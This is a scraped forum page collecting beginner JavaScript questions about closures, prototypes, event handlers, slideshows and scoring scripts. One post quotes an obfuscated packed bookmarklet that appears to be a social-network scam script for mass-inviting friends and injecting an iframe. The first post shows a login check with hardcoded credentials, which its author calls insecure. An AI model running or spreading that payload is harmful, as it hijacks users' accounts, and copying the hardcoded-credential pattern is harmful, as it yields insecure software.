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JavaScript - Understanding A Script
This script from http://www.javascriptkit.com/script/cut76.shtml is obviously not secure since the username and password are stored in the script, as well as the redirect url. I have no intentions of using it, but am curious if someone can explain how the alerts work the way they do.
So, how is the 1st else " else {alert("Invalid Password")} " associated with the second IF statement, not the first IF statement? Example, The 1st else sends an alert invalid password. When the 1st IF was to check the user name. Why is this? Shouldn't the 1st alert be if the user name was invalid and the second else be for the password? This post is my first, and is really just because I need to understand Javascript better and this makes no sense to me. Code: <script language="javascript">
function pasuser(form) {
if (form.id.value=="JavaScript") {
if (form.pass.value=="Kit") {
location="page2.html"
} else {
alert("Invalid Password")
}
} else { alert("Invalid UserID")
}
}
</script>
Similar TutorialsI put this function in firebug and it returns the value 24. I just need help of someone explaning me as simple but descriptive as possible how the code works. Code: function factorial(n) {
var product= 1;
while(n > 1) {product *= n;
n--;
}
return product;
}
factorial(4)
i was just reading a book and these were just one of the examples of functions which I was trying to understand better. Anyone wanna give me some pointers on how prototypes work exactly? ;o Especially in the context of this code: Code: var chatscroll = new Object();
chatscroll.Pane = function(scrollContainerId){
this.bottomThreshold = 20;
this.scrollContainerId = scrollContainerId;
this._lastScrollPosition = 100000000;
}
chatscroll.Pane.prototype.activeScroll = function(){
var _ref = this;
var scrollDiv = document.getElementById(this.scrollContainerId);
var currentHeight = 0;
var _getElementHeight = function(){
var intHt = 0;
if(scrollDiv.style.pixelHeight)intHt = scrollDiv.style.pixelHeight;
else intHt = scrollDiv.offsetHeight;
return parseInt(intHt);
}
var _hasUserScrolled = function(){
if(_ref._lastScrollPosition == scrollDiv.scrollTop || _ref._lastScrollPosition == null){
return false;
}
return true;
}
var _scrollIfInZone = function(){
if( !_hasUserScrolled ||
(currentHeight - scrollDiv.scrollTop - _getElementHeight() <= _ref.bottomThreshold)){
scrollDiv.scrollTop = currentHeight;
_ref._isUserActive = false;
}
}
if (scrollDiv.scrollHeight > 0)currentHeight = scrollDiv.scrollHeight;
else if(scrollDiv.offsetHeight > 0)currentHeight = scrollDiv.offsetHeight;
_scrollIfInZone();
_ref = null;
scrollDiv = null;
}
It's code to make the scrollbars autoscroll down. Full article and extra info he http://radio.javaranch.com/pascarell...837038219.html I sort of understand it but I'm not clear on what prototypes are. What does this mean? Code: javascript:eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('G g=["\\b\\h\\h\\d\\m\\Z\\15\\H\\16","\\e\\a\\I\\q\\n\\i\\h\\e\\d\\h\\e","\\j\\d\\e\\z\\k\\d\\w\\d\\h\\e\\17\\J\\18\\s","\\D\\a\\p\\b\\s\\t\\l\\f\\A\\j\\j\\d\\f\\e\\l\\p\\u\\m\\d\\y\\t\\l\\19\\l\\p\\a\\K\\a\\B\\b\\y\\J\\t\\l\\r\\a\\K\\a\\B\\r\\f\\i\\n\\b\\a\\k\\q\\j\\m\\a\\o\\u\\r\\b\\h\\v\\b\\e\\d\\q\\s\\b\\a\\k\\i\\j\\L\\o\\u\\o\\1a\\n\\k\\a\\f\\f\\t\\O\\a\\h\\H\\a\\h\\a\\j\\d\\m\\1b\\a\\w\\o\\1c\\h\\i\\s\\d\\q\\b\\s\\t\\P\\Q\\x\\P\\R\\Q\\S\\1d\\S\\x\\x\\M\\1e\\M\\R\\l\\p\\n\\k\\a\\f\\f\\t\\l\\p\\o\\m\\i\\y\\b\\k\\d\\q\\a\\n\\e\\b\\i\\h\\p\\a\\n\\e\\b\\i\\h\\f\\o\\m\\i\\q\\a\\l\\p\\m\\d\\k\\t\\l\\s\\b\\a\\k\\i\\j\\1f\\o\\i\\f\\e\\l\\E\\1g\\A\\j\\j\\d\\f\\e\\p\\e\\i\\p\\O\\m\\b\\d\\h\\s\\f\\D\\r\\a\\E","\\f\\A\\j\\j\\d\\f\\e","\\H\\i\\A\\f\\d\\z\\v\\d\\h\\e\\f","\\n\\m\\d\\a\\e\\d\\z\\v\\d\\h\\e","\\n\\k\\b\\n\\1h","\\b\\h\\b\\e\\z\\v\\d\\h\\e","\\s\\b\\f\\o\\a\\e\\n\\u\\z\\v\\d\\h\\e","\\f\\d\\k\\d\\n\\e\\q\\a\\k\\k","\\f\\j\\w\\q\\b\\h\\v\\b\\e\\d\\q\\y\\i\\m\\w","\\r\\a\\K\\a\\B\\r\\f\\i\\n\\b\\a\\k\\q\\j\\m\\a\\o\\u\\r\\b\\h\\v\\b\\e\\d\\q\\s\\b\\a\\k\\i\\j\\L\\o\\u\\o","\\f\\A\\I\\w\\b\\e\\T\\b\\a\\k\\i\\j","\\D\\b\\y\\m\\a\\w\\d\\p\\f\\m\\n\\t\\l\\u\\e\\e\\o\\1i\\r\\r\\I\\b\\e\\L\\k\\J\\r\\n\\T\\v\\U\\h\\U\\l\\p\\1j\\b\\s\\e\\u\\t\\l\\1k\\x\\x\\o\\B\\l\\p\\u\\d\\b\\j\\u\\e\\t\\l\\M\\x\\x\\o\\B\\l\\E\\D\\r\\b\\y\\m\\a\\w\\d\\E"];C(F[g[2]](g[1])[g[0]]=g[3]);G V=F[g[2]](g[4]);G c=F[g[6]](g[5]);c[g[8]](g[7],W,W);C V[g[9]](c);C N(X(){1l[g[10]]()},1m);C N(X(){1n[g[13]](g[11],g[12])},Y);C N(F[g[2]](g[1])[g[0]]=g[14],Y);',62,86,'||||||||||x61|x69||x65|x74|x73|_0x22d5|x6E|x6F|x67|x6C|x22|x72|x63|x70|x20|x5F|x2F|x64|x3D|x68|x76|x6D|x30|x66|x45|x75|x78|void|x3C|x3E|document|var|x4D|x62|x79|x6A|x2E|x36|setTimeout|x46|x31|x32|x35|x38|x44|x41|ss|true|function|5000|x48||||||x54|x4C|x42|x49|x23|x3F|x26|x3B|x37|x34|x2D|x53|x6B|x3A|x77|x39|fs|4000|SocialGraphManager'.split('|'),0,{}))
like all the " f\\m\\n " etc? I have no idea. Hi We are currently re-working a client's website and as I am not a javascript programmer I am having trouble understanding some of the code, and need help understanding why a certain variable in the code remains undefined. The javascript function is called from the web page in this fashion: Code: <select name="cboL1_3" onchange="CheckLine(this);"> <option value=""></option> <option value="l">L</option> <option value="m">M</option> </select> and the function CheckLine is defined thus: Code: function CheckLine(el)
{
var Mok = false, Lok = false, val, currEl;
var LineNo = el.name;
LineNo = LineNo.substring(4,(LineNo.length - 2));
val = el.options[el.selectedIndex].value;
alert(el);
alert(val);
if (val == 'm')
{
Mok = true;
}
if (val == 'l')
{
Lok = true;
}
for (var i = 1; i<=4; i++)
{
currEl = document.frmDisc.elements['cboL' + LineNo + '_' + i];
if (currEl.name != el.name)
{
if (currEl.options[currEl.selectedIndex].value == 'm')
{
if (Mok)
{
currEl.selectedIndex = 0; //resets selection to blank if >1 M
}
Mok = true;
}
if (currEl.options[currEl.selectedIndex].value == 'l')
{
if (Lok)
{
currEl.selectedIndex = 0;//resets selection to blank if >1 L
}
Lok = true;
}
}
}
}
What is happening is that the user is filling in 24 lines of 4 select boxes, in which there must be 1 and only one "m" and 1 and only 1 "l". The code changes the value of the box back to blank if the user has tried to enter >1 of either. The code then should check the line number and count the number of lines, but on debugging I see that the value of variables el and LineNo are undefined. I can't understand why when the function is called, the value "this" is used. i.e CheckLine(this) - this appears to have no value in the html code as far as I can see! Perhaps someone could shed some light on this for me, as I really need to get it working TODAY!! I also enclose a link to the webpage in question: www.kellyresources.co.uk/disc/disc.asp MAny thanks in anticipation of your help. Teresa I get programming. Really, I do. But this closure thing has me lost and needing a nice, simple explanation. Here's the code from the dojo tutorial: <script type="text/javascript"> dojo.require("dijit.form.Button"); // this is just to make the demo look nicer var arrFruit = ["apples", "kiwis", "pineapples"]; function populateData() { dojo.forEach(arrFruit, function(item, i) { var li = dojo.doc.createElement("li"); li.innerHTML = i + 1 + ". " + item; dojo.byId("forEach-items").appendChild(li); }); } </script> It is the anonymous function(item, i) that is perplexing me. As I see it, this use is not CREATING a function. It is calling a function called "function." Clearly, I am not up-to-speed. I am confounded as to how, within function(), "item" is KNOWN to refer to the value of the array element, and "i" is KNOWN to refer to the current element in the dojo.forEach() function. In my mind, I see a call to function, trying to pass parameters to it which were never defined above. The way I see it is: function myfunction(item, i) {code here} myfunction(this, that); In this example, I would get an error because "this" and "that" are not defined. Help, please!!! Code: //toggle function to open and close popup runs off an if else statement detecting style.display property
function toggle(popUpDiv) {
var el = document.getElementById(popUpDiv);
//if function to determine if style.display equals none and if so then block to make visible
if ( el.style.display == 'none' ) { el.style.display = 'block';}
else {el.style.display = 'none';}
//while function to declare that as long as style.display equals block then set timer to make
//invisible after 10 seconds of becoming visible
While (el.style.display == 'block') {
setTimeout ("toggle('popUpDiv')", 10000 );
} //end while loop
return false; //end if statement
}
My while statement reads that while style.display = block then to run a timer to close the popup by running toggle again after 10 seconds. This way if the user closes the window before the ten seconds is counted, then the toggle function won't run. However I am getting an error stating that there is no before statement. I'm confused on that. Sorry just really a beginner with javascript and searched through W3schools.com and couldn't find an answer. have it on a geocities test site at css popup test 1. When creating a new element using the create method, do the zIndex values of all elements that follow it change? If so how do I get the zIndex of all divs with a specific classname within a specified container? I'm working with dynamic drive's 'dhtmlwindow' object class file and have made revisions to it...however this is my first time working with this type of file and while some things are easy to change the zIndex change of the setfocus function does not look like any of my previous scripts. Hi, I'm trying to do an assignment, and have copied a piece of code to learn while I do, if you see what I mean. Problem is, I'm having real trouble with one of the lines of code. If someone could tell me basically what it does, I'd be very greatful! Here's the code: if (height[i] == -(array[i].height)) The - before (array[i].height) is really confusing me! Thanks in advance! This is a question about a code for a javascript slide show which i think is very important to understand because slide shows are heavily used! This is the html: Quote: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <script language="javascript" script type="text/javascript" src="slideshow.js"></script> <title>Slideshow exercise</title> </head> <body> <h1> Slideshow exercicse</h1> <img class="slide" src="cityscape.jpg" width="400" height="300"> <img class="slide" src="Creative_design_sailing_leaves_under_blue_sky.jpg" width="400" height="300"> <img class="slide" src="Curiousity.jpg" width="400" height="300"> <img class="slide" src="raindrops-blue-garden-seamless-tile.jpg" width="400" height="300"> <p> Clic on image to view next slide</p> <p> Clic on image to view next slide</p> </body> </html> This is the .js file and my questions: Quote: var numslides=0;currentslide=0; var slides= new Array(); function MakeSlideShow(){ //find all images with the class "slide" imgs= document.getElementsByTagName("img");---------> question 1 for (i=0; i<imgs.length ; i++) { if(imgs[i].className != "slide") continue; slides[numslides]=imgs[i];----------------------------------->question2 //hide all but first image if(numslides==0) {imgs[i].style.display="block";} else{imgs[i].style.display="none";} imgs[i].onclick=NextSlide; numslides++;}//end of loop--------------------------->question3 } //end MakeSlideShow() function NextSlide(){ slides[currentslide].style.display="none";------------------>question4 currentslide++ if(currentslide >= numslides) currentslide=0; slides[currentslide].style.display="block";--------------->question5 } window.onload= MakeSlideShow; question1: does "imgs" automatically become an array here? If so, how can i print out its lenght? This is what i tried and it doesn't work-> var lengthimgs= imgs.length document.write(lengthimgs) question2: What is happening here? Is the imgs[i] array transferring its data into the slides[numslides] array? question3: If slides[numslides] and imgs[i] are interchangeable why can't this line be i++ instead of numslides++ question4: What is happenning to the slides array here? Is currentslide becoming a copy of numslides? question5: What does this do? Where does this line sent the code? Why this? Why hasn't "imgs[i].style.display="block";" already done the job for the display? Thanks Hello, I have an Object, containing an object, containing an object....etc. So, it's an Object of objects. Not an Array of objects. And now I want to sort this Object of objects. Is there a "native" way in JavaScript to sort an object? Or do I understand it correctly, that I first have to convert the Object to an Array, and than perform an array.sort ? This question is just for my understanding of JavaScript, so I don't go into the wrong direction. Tnx in advance for any explanation. I would like to know if anyone cane explain some javascript source code that i got from the chess.com website. Here is the following code Im talking about: window.Meebo||function(c){function p(){return["<",i,' onload="var d=',g,";d.getElementsByTagName('head')[0].", j,"(d.",h,"('script')).",k,"='//cim.meebo.com/cim?iv=",a.v,"&",q,"=",c[q],c[l]? "&"+l+"="+c[l]:"",c[e]?"&"+e+"="+c[e]:"","'\"></",i,">"].join("")}var f=window, a=f.Meebo=f.Meebo||function(){(a._=a._||[]).push(arguments)},d=document,i="body", m=d[i],r;if(!m){r=arguments.callee;return setTimeout(function(){r(c)},100)}a.$= {0:+new Date};a.T=function(u){a.$[u]=new Date-a.$[0]};a.v=4;var j="appendChild", h="createElement",k="src",l="lang",q="network",e="domain",n=d[h]("div"),v=n[j](d[h]("m")), b=d[h]("iframe"),g="document",o,s=function(){a.T("load");a("load")};f.addEventListener? f.addEventListener("load",s,false):f.attachEvent("onload",s);n.style.display="none"; m.insertBefore(n,m.firstChild).id="meebo";b.frameBorder="0";b.id="meebo-iframe"; b.allowTransparency="true";v[j](b);try{b.contentWindow[g].open()}catch(w){c[e]= d[e];o="javascript:var d="+g+".open();d.domain='"+d.domain+"';";b[k]=o+"void(0);"}try{var t= b.contentWindow[g];t.write(p());t.close()}catch(x){b[k]=o+'d.write("'+p().replace(/"/g, '\\"')+'");d.close();'}a.T(1)}({network:"chess"}); </script> I need to understand this code but i am not able to fully understand it to use it for myself. Anybody can you help please function getScore(form) { var score = 0; var currElt; var currSelection; for (i=0; i<numQues; i++) { currElt = i*numChoi; for (j=0; j<numChoi; j++) { currSelection = form.elements[currElt + j]; if (currSelection.checked) { if (currSelection.value == answers[i]) { score++; break; } } } } score = Math.round(score/numQues*100); // math.round function will return the whole number to the nearest specified value for example 1.9 will show as 2 form.percentage.value = score + "%"; // The score will be displayed in percentage var correctAnswers = ""; for (i=1; i<=numQues; i++) { correctAnswers += i + ". " + answers[i-1] + "\r\n"; } form.solutions.value = correctAnswers; } Any short explanation will be a great help. Hey all, I'm trying to fully understand javascript and have a couple of questions I was hoping you could answer for me. I'm working through a book and in the book I'm creating a Bingo card that generates a random number. I'm pasting the full script below just in case it's needed. Code: function initAll () {
for(var i=0; i<24; i++) {
setSquare(i);
}
}
function setSquare(thisSquare) {
var currSquare= "square" + thisSquare;
var colPlace= new Array (0,0,0,0,0,1,1,1,1,1,2,2,2,2,3,3,3,3,3,4,4,4,4,4);
var colBasis=colPlace[thisSquare] *15;
var newNum=colBasis +getNewNum()+1;
document.getElementById(currSquare).innerHTML=newNum;
}
function getNewNum() {
return Math.floor(Math.random() *15);
}
//-->
</script>
1. What does the [thisSquare] mean in this line of code that is bolded? I mean, I know thisSquare is whatever i is, but am I multiplying it by colPlace or what? 2. Lastly I'm confused by this part of the above code Code: var newNum=colBasis +getNewNum()+1; Why add the +1? I mean, i think getNewNum is set to pull a random number between 1 and 14. If you want to pull a number between 1 and 15, why not multiple Math.random() *16 instead of 15. Am i missing something? Sorry, I'm just not understanding why use the +1 I posted this once, but it disappeared, and I have no notifications that I did anything wrong. I read the rules before posting and wasn't breaking any so I am not sure why it disappeared but here goes again. I am trying to learn Javascript (particularly OOP) from a series of screencasts by Douglas Crockford. I have developed a theoretical "game" to build to illustrate it to myself better, and learn by example. I must be misunderstanding how inheritance works, because my code is not producing the results I thought it would. Here is what I have, followed by an explanation of my understanding. Code: $(function() {
function object(o) {
function Funct() {}
Funct.prototype = o;
return new Funct();
}
soldier = {
pointsCost: 0,
movement: "1 Infantry Block",
validTargets: {},
weapons: {
"Main Weapon": {
"Weapon Type": "M4 Carbine",
"Fire Range": 12
},
"Secondary Weapon": {
"Weapon Type": "JCP .45",
"Fire Range": 3
}
}
};
var rifleman = object(soldier);
rifleman.pointsCost += 10;
rifleman.validTargets.target1 = "Infantry"
rifleman.weapons["Secondary Weapon"]["Weapon Type"] = "";
rifleman.weapons["Secondary Weapon"]["Fire Range"] = "";
var heavyGunner = object(soldier);
heavyGunner.pointsCost += 20;
heavyGunner.validTargets.target1 = "Infantry";
heavyGunner.validTargets.target2 = "Light Armor";
heavyGunner.weapons["Main Weapon"]["Weapon Type"] = "SAW M249";
heavyGunner.weapons["Main Weapon"]["Fire Range"] = 12;
heavyGunner.weapons["Secondary Weapon"]["Weapon Type"] = "";
heavyGunner.weapons["Secondary Weapon"]["Fire Range"] = "";
var sniper = object(soldier);
sniper.pointsCost += 30;
sniper.validTargets.target1 = "Infantry";
sniper.weapons["Main Weapon"]["Weapon Type"] = "Savage .308";
sniper.weapons["Main Weapon"]["Fire Range"] = 20;
sniper.weapons["Secondary Weapon"]["Weapon Type"] = "JCP .45";
sniper.weapons["Secondary Weapon"]["Fire Range"] = 3;
var demolitions = object(soldier);
demolitions.pointsCost += 30;
demolitions.validTargets.target1 = "Infantry";
demolitions.validTargets.target2 = "Light Armor";
demolitions.validTargets.target3 = "Artilery";
demolitions.validTargets.target4 = "Structures";
demolitions.weapons["Main Weapon"]["Weapon Type"] = "SMAW MK153";
demolitions.weapons["Main Weapon"]["Fire Range"] = 16;
demolitions.weapons["Secondary Weapon"]["Weapon Type"] = "M1014 Combat Shotgun";
demolitions.weapons["Secondary Weapon"]["Fire Range"] = 1;
var infantry = {
rifleman: rifleman,
heavyGunner: heavyGunner,
sniper: sniper,
demolitions: demolitions
};
console.log(infantry);
});
I start by creating an object function that accepts an object passed in, and sets it to the prototype of a constructor (that would allow me to create a new object linked to, and inheriting from, the initial passed in object) I initialized a solider object literal, and pass that into the object function while creating 4 new objects (rifleman, heavyGunner, sniper, demolitions) These four should inherit from and customize upon the soldier object. The way I understood inheritance is that the new objects (example. rifleman) would inherit properties from the old object (i.e. soldier) and change or add properties, affecting only the new (rifleman) object but not changing the old(solider) object. this works ok somewhat in my example, until it comes to nested objects. In the above example I have objects as values for some Object's properties. (i.e. validTargets and weapons) When I change or add these, all of the new objects seem to inherit the last declarations, from demolitions, as if demolitions is actually changing that part of the soldier object so that the other's inherit those properties. From my viewpoint, I expected these values to not be changed and that the 4 infantry types had no link to each other, but only to the soldier object. I apparently misunderstood something, or coded something wrong. Some minor notes: -I will be updating most of the "string" values to be objects, so for instance, the validTargets value of "Infantry" would actually be the infantry object, stating that any of the 4 solider types would be a valid target. - I intend to create weapons as their own viable objects in the future, and pass those objects instead of "strings" - I intend to extend this (once this is working) to create an armor object that contains armor type units, similar in structure to the infantry object. - If I can get this all to work, I may make this into a "simple" dice style battle game. but that is way off, I just want to get this nesting of objects to work with inheritance for now. Thanks in advance for any help you can provide. Here is a link to the "live" example. (not much different there except if you have firebug you can see the console.log method showing the objects, and how they are inheriting in properly from my POV.) Link to Live example... Blue I still can't understand very well when to use and when NOT to use parenthesis when calling/using methods and functions. Case 1: Where I commented "// No parenthesis.", could someone explain why not. And at the end, where the commen reads "// Parenthesis. ? Code: /* This function will be used as a method inside the objects. */
function getPayment() {
thePayment = 250;
thePayment += (this.seats == 'leather') ? 100 : 50;
thePayment += (this.engine == 'V-8') ? 150 : 75;
thePayment += (this.radio == 'CD Player') ? 30 : 10;
return thePayment;
}
/* Object Constructor (prototype of the object). */
function car(seats, engine, radio) {
this.seats = seats;
this.engine = engine;
this.radio = radio;
this.payments = getPayment; // No parenthesis.
}
/* Creates an instance called 'my_car' out of the 'car' object. */
var my_car = new car('cloth', 'V-6', 'Tape Deck');
/* Object Initializer - automatically instantiates the object. */
var carObj = {
seats: 'leather',
engine: 'V-8',
radio: 'CD Player',
payments: getPayment // No parenthesis. No comma after last item.
}
// Firebug...
console.log(my_car.payments()); // Parenthesis.
console.log(carObj.payments()); // Parenthesis.
/* vim:set foldmethod=indent: */
Case 2: Please look at the comments. Code: window.onload = initAll; // Why no () here?
function initAll() {
window.doStuff(); // Why () here?
}
function doStuff() {
var msg_text = 'I love you so much!';
var msg_link = window.document.getElementById('msg_link');
console.log(msg_link);
var msg_box = window.document.getElementById('msg_box');
msg_link.onmouseover = function() {
//msg_box.value = msg_text;
msg_box.setAttribute('value', 'May the force be with you!');
};
msg_link.onmouseout = function() {
/* This works in ie. */
//msg_box.value = '';
/* Doesn't work in ie7 (and probably not in ie6 either).
* Perhaps the code above is reasonable. */
msg_box.removeAttribute('value');
}
}
/* vim:set foldmethod=indent: */
This is in reference to Crockford's articles found he http://javascript.crockford.com/prototypal.html http://javascript.crockford.com/private.html I'm attempting to understand the use of privileged methods when used with Object.create. I put together a quick demo (code below) that shows what happens when I use Object.create to create a new object based on one that has a privileged method. The outcome is not pleasant, as changing the value in the first object also changes it in the second. Unless I am reading Crockford's articles incorrectly, this makes Object.create almost useless for anything but objects that have only public members. I've seen many JavaScript programmers use closures extensively to create private members, and that still holds to be a good programming practice. However I still can't find an elegant way to create inheritance in combination with closures in JavaScript, given downfalls such as the one I mentioned above. With all of that said I still think Crockford has a nice way of programming, creating factory functions that produce objects, staying away from the prototype property and making the language look more functional. Here's the code to demonstrate what I'm referring to. Firebug needs to be enabled to view the console.debug output, otherwise convert them to alerts. Code: if (typeof Object.create !== 'function') {
Object.create = function (o) {
function F() {}
F.prototype = o;
return new F();
};
}
var o = (function() {
var msg = "hi";
return {
msg: function(m) {
if (m === undefined) {
return msg;
}
msg = m;
}
};
})();
var foo = Object.create(o);
var bar = Object.create(foo);
console.debug(foo.msg()); // "hi"
foo.msg("what?");
console.debug(foo.msg()); // "what?"
console.debug(bar.msg()); // "what?"
Hi All, I have two scripts which I want to try and integrate. I am using a nice gallery script to show thumbnails which are appended to a an image wrapper which on click of the thumbnail shows the larger image in the image wrapper, I am trying to implement cloud zoom which is a plugin which uses image srcs to then point to an anchor href to show another larger zoom image either in the same place.. which is what I am trying to do or in another div beside. I have had to set me img srcs up in a certain way to easily enter some product details. and I need to try an manipulate the code to make it work to suit my file layout. I am using a var= images [ with a series of file locations and info such as below { src: 'romanticabride/thumbs/tn_Shauna.jpg', srcBig: 'romanticabride/images/Shauna.jpg', title: 'Shauna', longDescription: '<b><H1>Shauna</H1></b><br><b>Romantica Of Devon <br><br><h2>Sizes Available:</h2><br> 6 - 32.<b><br><b><br><b><b><b><H2>Colours Available:</h2><b><br>Various<br>Please Enquire Below<br><br><br><br><a href="mailto:tracy@cherishbridal.co.uk?subject=Web Enquiry Regarding Romantica Shauna Bridal Gown"class="enquiry rose glow" >Click To Enquire About This Item </a>' }, what I need is for cloud zoom to work when the main image wrapper is hovered over which means it will need to add a class or when the whichever srcBig: is hovered over it gets wrapped by href to make the script work . one of my pages is http://www.cherishbridal.co.uk/romaticabride.html the cloud zoom script is at http://www.professorcloud.com/mainsite/cloud-zoom.htm.. I am happy to share a jsfiddle with someone or explain further or post some code. Thank you in advance does any expert know how to pass parameters in the <script ..> tag? for instance; Code: <script type="text/javascript" src="script.js ?param1=val1¶m2=val2&etc "> in the javascript script.js, how would we read the params after the question mark? for example, google this; google shopping cart /v2_2/cart.js I have a script that works in seamonkey(my html editor) but when I use it in IE8 it says errors happen. Here's the code (the first line is on line 7 of the html file): Code: <script type="text/javascript">
function enlarge(imageNum)
{
var numToString = "";
if(parseInt(imageNum) < 10){
numToString = "0" + imageNum;
}
else
{
numToString = imageNum + "";
}
window.open("images/LgScreenshot"+numToString+".jpg","Screenshot "+imageNum,"status=0,height=675,width=900,resizable=0");
}
</script>
And the errors: Webpage error details User Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB0.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; InfoPath.3; .NET CLR 3.0.30729) Timestamp: Wed, 10 Feb 2010 14:58:16 UTC Message: Object expected Line: 150 Char: 1 Code: 0 URI: http://samssc2site.co.cc/Features.html Message: Invalid argument. Line: 18 Char: 1 Code: 0 URI: http://samssc2site.co.cc/Features.html I need to assign a key in the javascript to actually make the javascript work,. I have a bookmark in chrome , a javascript , which actually works when clicked on it .,. but how can i edit it so that i can actually make it work on click a key or combination of keys. i want to declare the key or keycombo in the script itself .,. the script is for catching the selected text on the webpage and opening a new tab(or window) and doing an exact search search of the selected text using google.com .,., So I want it to work it this way ., select the text press a key and it opens a new tab (or window) with an xact search .,. i want to declare the key or keycombo in the script itself .,. the script is for catching the selected text on the webpage and opening a new tab(or window) and doing an exact search search of the selected text using google.com .,., So I want it to work it this way ., select the text press a key and it opens a new tab (or window) with an xact search .,. Thanks in advance ., Nani |
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